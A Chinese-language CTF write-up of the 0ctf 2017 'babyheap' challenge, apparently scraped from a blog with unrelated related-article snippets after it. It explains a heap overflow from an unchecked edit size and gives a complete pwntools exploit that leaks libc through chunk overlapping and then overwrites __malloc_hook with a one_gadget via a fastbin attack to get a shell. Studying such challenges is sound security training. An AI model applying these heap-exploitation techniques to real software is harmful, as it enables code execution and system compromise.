0ctf_2017_babyheap
0ctf_2017_babyheap
首先检查一下保护

IDA 分析好的代码如下

首先申请了一块内存地址用来存放结构体数组,地址随机。

堆题常见的几个功能。我们来看看add

这里申请内存用的是calloc
struct block{
unsigned int inuse;
unsigned int size;
char * chunkptr;
}

这里没有检查size,size可以为任意值。造成堆溢出。

delete函数free后指针清零

show 就是打印出chunk_ptr的内容。
好了,至此程序的大致执行流程我们已经搞清楚了。因为存在堆溢出,并且使用的是calloc,我们可以考虑chunk overlapping,这样我们只要吧chunk2给释放掉就可以通过show(chunk1)来打印出unsorted bin 的地址了。不过前提是chunk2要大于global_max_fast。

exp
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./0ctf_2017_babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(size):
p.sendlineafter('Command: ','1')
p.sendlineafter('Size: ',str(size))
def edit(idx,content):
p.sendlineafter('Command: ','2')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('Size: ',str(len(content)))
p.sendlineafter('Content: ',content)
def delete(idx):
p.sendlineafter('Command: ','3')
p.sendlineafter('Index: ',str(idx))
def show(idx):
p.sendlineafter('Command: ','4')
p.sendlineafter('Index: ',str(idx))
#---------------这3个一组,是为了泄漏libc地址----------#
add(0x10)#0
add(0x10)#1
add(0x80)#2
#---------------这3个一组,是为了fastbin attack 覆写malloc hook 为one_gadget ----------#
add(0x30)#3
add(0x68)#4
add(0x10)#5
#------------------泄漏libc地址------------------------------------#
edit(0,p64(0)*3+p64(0xb1))#通过edit(0)来改变chunk1的大小,使其包裹chunk2
delete(1)
add(0xa0)#1 delete再add回来使为了改变结构体中的size值,因为show的长度使根据这个值来定的
edit(1,p64(0)*3+p64(0x91)) #因为使通过calloc申请回chunk1的所以chunk2被清零,我们要恢复chunk2
delete(2) #使的chunk2进入unsorted bin
show(1) #泄漏chunk2的fd
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) -0x3c4b78
print 'libc_base: '+hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
#-----------------fastbin attack-------------------------------------#
delete(4)#释放使其进入fastbin
edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23)) #修改其fd指针
add(0x68)#2 #fasbin attack
add(0x68)#4
one = [0xf1147,0xf02a4,0x4526a,0x45216]
one_gadget = libc_base + one[2]
edit(4,'\x00'*0x13+p64(one_gadget)) #覆盖malloc_hook为one_gadget
add(0x10)
#gdb.attach(p)
p.interactive()
0ctf_2017_babyheap的更多相关文章
- [BUUCTF]PWN——0ctf_2017_babyheap
0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...
随机推荐
- [Python学习笔记]正则表达式总结
常用缩写字符及其含义表格查询 缩写字符分类 含义 \d 0-9的任意数字 \D 除0-9的数字以外的任何字符 \w 任何字母.数字或下划线字符(可以认为是匹配"单词"字符) \W ...
- 配置JDK环境及其相关问题
1.首先找到JDK的安装目录 如果忘记了安装目录在那个地方,可以通过dos命令java -verbose,进行查看 配置jdk环境 新建系统变量JAVA_HOME: 编辑系统变量Path: 新建系统变 ...
- 2021-2-28:调用 System.gc() 后究竟发生了什么?
首先,根据 DisableExplicitGC 这个 JVM 启动参数的状态,确定是否会 GC,如果需要 GC,不同 GC 会有不同的处理. 1. G1 GC 的处理 如果是 System.gc() ...
- Codeforces 598D (ccpc-wannafly camp day1) Igor In the Museum
http://codeforces.com/problemset/problem/598/D 分析:BFS,同一连通区域的周长一样,但查询过多会导致TLE,所以要将连通区域的答案储存,下次查询到该连通 ...
- 2020年HTML5考试模拟题整理(二)
1.以下是HTML5新增的标签是: AA.<aside>B.<isindex> C. <samp>D.<s>2.以下不是HTML5的新增的标签是: BA ...
- python学习总结篇(2)——函数
如其他语言一样,除了基本知识外,另外一个重要的板块就是函数了,python中也有函数. 在python中,函数的定义方式为: def 函数名( ): 下面通过几个简单的例子,看看python中的函 ...
- IntelliJ-IDEA 打包代码报错
一.问题由来 使用 IntelliJ-IDEA 打包项目一直以来都没问题,可是上周的时候,突然打包就报错了,并且Maven中的pom.xml文件确定是没有改过,打包的配置文件也没有修改过. 报错信息如 ...
- SpringCloud里面切换数据源无效的问题
问题描述: 调用链:controller1的接口A->service1的方法A->service2的方法B 方法A开启了事务,且指定了数据库A的数据源 方法B也开启了事务,使用了默认的事务 ...
- freebsd root 登录 KDE SDDM
sddm.conf 文件现在默认不会自动生成了.需要自己创建:ee /usr/local/etc/sddm.conf写入MinimumUid=0MaximumUid=00就是root用户.然后更改/u ...
- Java 重入锁和读写锁
本文部分摘自<Java 并发编程的艺术> 重入锁 重入锁 ReentrantLock,顾名思义,就是支持重进入的锁,它表示该锁能够支持一个线程对资源的重复加锁.除此之外,该锁还支持获取锁时 ...